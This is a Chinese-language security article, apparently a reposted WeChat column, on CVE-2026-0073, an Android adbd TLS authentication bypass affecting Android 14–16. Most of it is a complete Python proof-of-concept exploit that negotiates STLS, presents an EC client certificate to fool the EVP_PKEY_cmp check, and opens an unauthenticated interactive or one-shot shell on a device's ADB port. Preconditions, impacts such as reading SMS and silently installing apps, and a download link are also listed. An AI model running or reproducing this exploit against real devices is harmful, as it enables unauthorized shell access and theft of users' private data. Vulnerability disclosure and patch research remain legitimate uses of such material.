首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-0073|Android ADB认证绕过导致远程代码执行漏洞(POC)

CVE-2026-0073|Android ADB认证绕过导致远程代码执行漏洞(POC)

作者头像
信安百科
发布2026-05-26 20:13:51
发布2026-05-26 20:13:51
50
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

Android是由Google开发的基于Linux内核的开源移动操作系统,主要应用于智能手机、平板电脑及其他智能设备。它提供了丰富的应用生态系统,支持多任务处理、自定义界面和广泛的硬件兼容性;其架构分为应用层、应用框架层、系统运行库层和Linux内核层,支持Java/Kotlin等多种编程语言开发,同时具备强大的硬件抽象能力和安全机制,已成为全球市场份额最高的移动操作系统之一。

Android ADB认证是一种基于RSA密钥对的安全机制,用于确保只有经过授权的计算机才能通过ADB(Android Debug Bridge)与Android设备进行调试通信。当计算机首次尝试通过ADB连接Android设备时,计算机会生成一对RSA密钥,并将公钥发送给设备,设备会弹出授权提示框询问用户是否允许该计算机进行调试,用户确认后设备会保存该公钥的指纹,后续连接时设备会验证计算机是否持有对应的私钥,只有验证通过才会建立ADB连接,从而防止未经授权的访问;用户可以在设备的"开发者选项"中撤销所有已授权的计算机,或在~/.android/adbkey和adbkey.pub文件中管理本地的ADB密钥对。

0x01 漏洞描述

该漏洞存在于platform/packages/modules/adb/daemon/auth.cpp文件中,由于adbd_tls_verify_cert使用EVP_PKEY_cmp验证客户端证书公钥时忽略跨算法比较返回值,导致攻击者可在无需用户交互情况下绕过身份验证,通过提供非RSA TLS客户端证书成为授权ADB host并获取shell用户权限,从而远程访问系统调试接口,读取敏感信息、执行命令、修改配置。

0x02 CVE编号

CVE-2026-0073

0x03 影响版本

代码语言:javascript
复制
Google Android 14
Google Android 15
Google Android 16(含Android 16 QPR2 Beta1/Beta2/Beta3)

0x04 漏洞详情

代码语言:javascript
复制
前置条件:
1、设备开启Developer options和Wireless debugging或暴露ADB TCP服务。
2、设备/data/misc/adb/adb_keys文件包含至少一个先前配对的RSA ADB主机密钥。
3、攻击者能够访问该ADB TCP端口(5555),例如处于同一局域网。

危害:
1、获取安卓系统Shell权限
2、读取短信/验证码/相册
3、篡改系统设置、静默安装恶意应用
4、内网横向渗透

POC:

https://github.com/SecTestAnnaQuinn/CVE-2026-0073-Android-adbd-authentication-bypass-POC

代码语言:javascript
复制
#!/usr/bin/env python3
"""
CVE-2026-0073 — Android adbd EVP_PKEY_cmp TLS authentication bypass

adbd_tls_verify_cert() in daemon/auth.cpp uses EVP_PKEY_cmp() as a
boolean. When the stored key is RSA and the presented TLS client cert carries a
non-RSA key (EC P-256 or Ed25519), EVP_PKEY_cmp() returns -1 (type mismatch),
which is truthy in C/C++, so authorized = true.

  1. TCP connect to adbd port
  2. Send cleartext ADB CNXN; receive STLS from device
  3. Reply STLS; upgrade TCP to TLS 1.3 with ephemeral EC P-256 client cert
  4. Post-TLS: drain device CNXN (and optional STLS notification) — do NOT send host CNXN
     (adbd_wifi_secure_connect already marks the transport online; a host CNXN would
     trigger handle_new_connection on an already-online transport, kicking it immediately)
  5. OPEN(local_id, INITIAL_DELAYED_ACK_BYTES=32MB, "shell:\\x00") → OKAY → WRTE/OKAY shell

Requirements:
  - Developer options enabled on target
  - Wireless debugging or ADB-over-TCP enabled (default port 5555)
  - At least one RSA key in /data/misc/adb/adb_keys (device has been paired before)
  - Network reachability to the adbd TCP port

Usage:
  python3 adb_tls_auth_bypass.py <host> [port] [--cmd <command>]

  Default port: 5555
  Default cmd:  interactive shell (stdin/stdout forwarded)


Tested on 6.1.23-android14-4-00257-g7e35917775b8-ab9964412

Examples:
  python3 adb_tls_auth_bypass.py 192.168.1.42
  python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id; getprop ro.build.version.release"
"""


import argparse
import io
import os
import socket
import ssl
import struct
import sys
import tempfile
import textwrap
import threading
import time

from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import NameOID
import datetime


# ---------------------------------------------------------------------------
# ADB wire protocol constants
# ---------------------------------------------------------------------------

ADB_VERSION    = 0x01000001
ADB_MAXDATA    = 256 * 1024
ADB_BANNER     = b"host::features=shell_v2,cmd,stat_v2,ls_v2,fixed_push_mkdir,apex,abb,fixed_push_symlink_timestamp,abb_exec,remount_shell,track_app,sendrecv_v2,sendrecv_v2_brotli,sendrecv_v2_lz4,sendrecv_v2_zstd,sendrecv_v2_dry_run_send,openscreen_mdns,delayed_ack"

# adbd delayed_ack initial receive window (INITIAL_DELAYED_ACK_BYTES from adb.h)
DELAYED_ACK_WINDOW = 32 * 1024 * 1024  # 0x2000000

CMD_CNXN = 0x4e584e43
CMD_STLS = 0x534c5453
CMD_AUTH = 0x41555448
CMD_OPEN = 0x4e45504f
CMD_OKAY = 0x59414b4f
CMD_WRTE = 0x45545257
CMD_CLSE = 0x45534c43

STLS_VERSION = 0x01000000


# ---------------------------------------------------------------------------
# ADB packet framing
# ---------------------------------------------------------------------------

def _checksum(data: bytes) -> int:
    return sum(data) & 0xFFFFFFFF


def pack_packet(cmd: int, arg0: int, arg1: int, data: bytes = b"") -> bytes:
    length = len(data)
    csum   = _checksum(data)
    magic  = cmd ^ 0xFFFFFFFF
    header = struct.pack("<IIIIII", cmd, arg0, arg1, length, csum, magic)
    return header + data


def unpack_header(raw: bytes):
    cmd, arg0, arg1, length, csum, magic = struct.unpack("<IIIIII", raw)
    return cmd, arg0, arg1, length, csum, magic


def recv_packet(sock):
    """Read one ADB packet from sock. Returns (cmd, arg0, arg1, data)."""
    header = _recv_exact(sock, 24)
    cmd, arg0, arg1, length, csum, magic = unpack_header(header)
    data = _recv_exact(sock, length) if length else b""
    return cmd, arg0, arg1, data


def _recv_exact(sock, n: int) -> bytes:
    buf = b""
    while len(buf) < n:
        chunk = sock.recv(n - len(buf))
        if not chunk:
            raise ConnectionError(f"connection closed after {len(buf)}/{n} bytes")
        buf += chunk
    return buf


# ---------------------------------------------------------------------------
# Ephemeral cross-algorithm TLS client certificate (EC P-256)
# ---------------------------------------------------------------------------

def make_ec_client_cert() -> tuple[bytes, bytes]:
    """
    Generate a throw-away EC P-256 key + self-signed cert.
    The cert key type is intentionally EC, not RSA, to trigger the
    cross-algorithm EVP_PKEY_cmp() return value of -1.
    Returns (cert_pem, key_pem).
    """
    key = ec.generate_private_key(ec.SECP256R1())
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COMMON_NAME, u"adbkey"),
    ])
    cert = (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(datetime.datetime.utcnow())
        .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=1))
        .sign(key, hashes.SHA256())
    )
    cert_pem = cert.public_bytes(serialization.Encoding.PEM)
    key_pem  = key.private_bytes(
        serialization.Encoding.PEM,
        serialization.PrivateFormat.TraditionalOpenSSL,
        serialization.NoEncryption(),
    )
    return cert_pem, key_pem


# ---------------------------------------------------------------------------
# Core exploit
# ---------------------------------------------------------------------------

class ADBBypass:
    def __init__(self, host: str, port: int, verbose: bool = False):
        self.host    = host
        self.port    = port
        self.verbose = verbose
        self.sock    = None          # raw TCP socket (cleartext phase)
        self.tls     = None          # TLS-wrapped socket (post-upgrade)
        self._local_id  = 1
        self._remote_id = None

    def _log(self, msg: str):
        if self.verbose:
            print(f"[*] {msg}", file=sys.stderr)

    def _send(self, sock, data: bytes):
        sock.sendall(data)

    # --- Phase 1: cleartext ADB CNXN → STLS negotiation -------------------

    def connect(self):
        self._log(f"connecting to {self.host}:{self.port}")
        self.sock = socket.create_connection((self.host, self.port), timeout=10)

        # Send CNXN
        cnxn = pack_packet(CMD_CNXN, ADB_VERSION, ADB_MAXDATA, ADB_BANNER)
        self._log("sending CNXN")
        self._send(self.sock, cnxn)

        # Expect STLS back — device may send CNXN first on some builds, tolerate it
        for _ in range(3):
            cmd, arg0, arg1, data = recv_packet(self.sock)
            self._log(f"  <- {cmd:#010x} arg0={arg0:#x} arg1={arg1:#x} data={data[:64]!r}")
            if cmd == CMD_STLS:
                stls_version = arg0
                self._log(f"received STLS version={stls_version:#x}")
                break
            elif cmd == CMD_AUTH:
                # Device sent AUTH instead of STLS — not the wireless-debugging path
                raise RuntimeError(
                    "Device responded with AUTH instead of STLS. "
                    "Target is not using the STLS/TLS wireless-debugging path "
                    "(may be legacy ADB TCP, or auth_required=false)."
                )
            elif cmd == CMD_CNXN:
                self._log("received pre-STLS CNXN, waiting for STLS...")
                continue
            else:
                raise RuntimeError(f"unexpected command {cmd:#010x} during CNXN negotiation")
        else:
            raise RuntimeError("did not receive STLS from device")

        # Reply STLS
        self._log("sending STLS reply")
        self._send(self.sock, pack_packet(CMD_STLS, stls_version, 0))

    # --- Phase 2: TLS upgrade with cross-algorithm client cert -------------

    def upgrade_tls(self, cert_pem: bytes, key_pem: bytes):
        """Wrap the existing TCP socket in TLS 1.3 with the EC client cert."""
        self._log("upgrading to TLS 1.3 with EC P-256 client certificate")

        # Write cert/key to temp files (ssl module needs file paths)
        with tempfile.NamedTemporaryFile(delete=False, suffix=".pem") as cf:
            cf.write(cert_pem)
            cert_path = cf.name
        with tempfile.NamedTemporaryFile(delete=False, suffix=".pem") as kf:
            kf.write(key_pem)
            key_path = kf.name

        try:
            ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
            ctx.check_hostname           = False
            ctx.verify_mode              = ssl.CERT_NONE   # we don't validate server cert
            ctx.minimum_version          = ssl.TLSVersion.TLSv1_3
            ctx.maximum_version          = ssl.TLSVersion.TLSv1_3
            ctx.load_cert_chain(certfile=cert_path, keyfile=key_path)

            self.tls = ctx.wrap_socket(self.sock, server_hostname=self.host)
            self._log(f"TLS handshake complete: {self.tls.version()}, cipher={self.tls.cipher()}")
        finally:
            os.unlink(cert_path)
            os.unlink(key_path)

    # --- Phase 3: post-TLS ADB service layer -------------------------------

    def post_tls_cnxn(self):
        """Drain post-TLS device packets (CNXN + optional STLS).

        The adbwifi path: adbd_wifi_secure_connect() calls handle_online(t) and
        send_connect(t) which sends the device CNXN. The transport is already
        online at this point. We must NOT send a host CNXN — doing so calls
        handle_new_connection() on an already-online transport which kicks it.
        """
        for _ in range(6):
            cmd, arg0, arg1, data = recv_packet(self.tls)
            self._log(f"  <- {cmd:#010x} arg0={arg0:#x} data={data[:64]!r}")
            if cmd == CMD_CNXN:
                self._log(f"device CNXN: {data.decode(errors='replace')}")
                break
            elif cmd == CMD_STLS:
                self._log(f"post-TLS STLS notification (version={arg0:#x}), ignoring")
                continue
            else:
                raise RuntimeError(f"expected CNXN/STLS inside TLS, got {cmd:#010x}")
        else:
            raise RuntimeError("did not receive post-TLS CNXN from device")
        # Drain the trailing STLS notification if present
        self._recv_skip_stls_drain()

    def _recv_skip_stls_drain(self):
        """Non-blocking drain of any buffered STLS notifications (max 0.3s)."""
        deadline = time.monotonic() + 0.3
        while time.monotonic() < deadline:
            try:
                self.tls.settimeout(0.05)
                cmd, arg0, arg1, data = recv_packet(self.tls)
                if cmd != CMD_STLS:
                    # Unexpected non-STLS — log and ignore, don't block
                    self._log(f"  unexpected post-drain packet {cmd:#010x}, ignoring")
            except (socket.timeout, OSError):
                break
            finally:
                self.tls.settimeout(None)

    def _recv_skip_stls(self):
        """Receive next packet, silently ignoring any STLS notifications."""
        for _ in range(8):
            cmd, arg0, arg1, data = recv_packet(self.tls)
            if cmd != CMD_STLS:
                return cmd, arg0, arg1, data
            self._log(f"  STLS notification, ignoring")
        raise RuntimeError("too many STLS frames")

    def open_shell(self) -> int:
        """Send OPEN shell:\\x00 with delayed_ack window. Returns remote_id on OKAY."""
        payload = b"shell:\x00"
        self._log(f"sending OPEN local_id={self._local_id} window={DELAYED_ACK_WINDOW:#x}")
        self._send(self.tls, pack_packet(CMD_OPEN, self._local_id, DELAYED_ACK_WINDOW, payload))

        cmd, arg0, arg1, data = self._recv_skip_stls()
        self._log(f"  <- {cmd:#010x} arg0={arg0:#x} arg1={arg1:#x}")
        if cmd != CMD_OKAY:
            raise RuntimeError(f"OPEN rejected: {cmd:#010x} (expected OKAY)")

        self._remote_id = arg0
        self._log(f"shell stream opened: local={self._local_id} remote={self._remote_id}")
        # Acknowledge the OKAY to grant our write window
        self._send_okay()
        return self._remote_id

    def _send_okay(self):
        self._send(self.tls, pack_packet(CMD_OKAY, self._local_id, self._remote_id))

    def run_command(self, cmd_str: str) -> str:
        """Run a single command, collect all output, return as string."""
        payload = f"shell:{cmd_str}\x00".encode()
        self._log(f"OPEN for command: {cmd_str!r}")
        self._send(self.tls, pack_packet(CMD_OPEN, self._local_id, DELAYED_ACK_WINDOW, payload))

        cmd_r, arg0, arg1, data = self._recv_skip_stls()
        if cmd_r != CMD_OKAY:
            raise RuntimeError(f"OPEN for command rejected: {cmd_r:#010x}")
        remote = arg0
        self._send(self.tls, pack_packet(CMD_OKAY, self._local_id, remote))

        output = io.BytesIO()
        while True:
            cmd_r, arg0, arg1, data = recv_packet(self.tls)
            if cmd_r == CMD_WRTE:
                output.write(data)
                self._send(self.tls, pack_packet(CMD_OKAY, self._local_id, remote))
            elif cmd_r == CMD_CLSE:
                break
            elif cmd_r == CMD_OKAY:
                continue
            else:
                break
        return output.getvalue().decode(errors="replace")

    def interactive_shell(self):
        """Forward stdin/stdout to the open ADB shell stream."""
        print("[+] interactive shell — Ctrl+C to exit", file=sys.stderr)

        stop = threading.Event()

        def reader():
            while not stop.is_set():
                cmd_r, arg0, arg1, data = recv_packet(self.tls)
                if cmd_r == CMD_WRTE:
                    sys.stdout.buffer.write(data)
                    sys.stdout.buffer.flush()
                    self._send_okay()
                elif cmd_r == CMD_CLSE:
                    stop.set()
                    break
                elif cmd_r == CMD_OKAY:
                    continue

        def writer():
            # select() on Windows only works on sockets, not stdin — use a blocking
            # read thread instead; the daemon flag ensures it exits when reader ends.
            while not stop.is_set():
                try:
                    data = sys.stdin.buffer.read1(4096)
                except (OSError, ValueError):
                    break
                if data:
                    self._send(self.tls, pack_packet(CMD_WRTE, self._local_id, self._remote_id, data))

        t_read  = threading.Thread(target=reader, daemon=True)
        t_write = threading.Thread(target=writer, daemon=True)
        t_read.start()
        t_write.start()
        try:
            while t_read.is_alive():
                t_read.join(timeout=0.2)
        except KeyboardInterrupt:
            pass
        finally:
            stop.set()

    def close(self):
        try:
            if self.tls:
                self.tls.close()
            elif self.sock:
                self.sock.close()
        except Exception:
            pass


# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-0073 — ADB EVP_PKEY_cmp TLS auth bypass",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent("""\
            Examples:
              %(prog)s 192.168.1.42
              %(prog)s 192.168.1.42 5555 --cmd "id"
              %(prog)s 192.168.1.42 5555 --cmd "getprop ro.build.version.security_patch"
        """),
    )
    parser.add_argument("host",          help="target device IP or hostname")
    parser.add_argument("port", nargs="?", type=int, default=5555, help="ADB port (default 5555)")
    parser.add_argument("--cmd",         help="shell command to run (default: interactive shell)")
    parser.add_argument("-v", "--verbose", action="store_true")
    args = parser.parse_args()

    cert_pem, key_pem = make_ec_client_cert()

    bypass = ADBBypass(args.host, args.port, verbose=args.verbose)
    try:
        bypass.connect()
        bypass.upgrade_tls(cert_pem, key_pem)
        bypass.post_tls_cnxn()

        if args.cmd:
            output = bypass.run_command(args.cmd)
            print(output, end="")
        else:
            bypass.open_shell()
            bypass.interactive_shell()
    except KeyboardInterrupt:
        pass
    except Exception as e:
        print(f"[-] {e}", file=sys.stderr)
        sys.exit(1)
    finally:
        bypass.close()


if __name__ == "__main__":
    main()

0x05 参考链接

https://source.android.com/docs/security/bulletin/2026/2026-05-01

https://barghest.asia/blog/cve-2026-0073-adb-tls-auth-bypass/

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-05-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档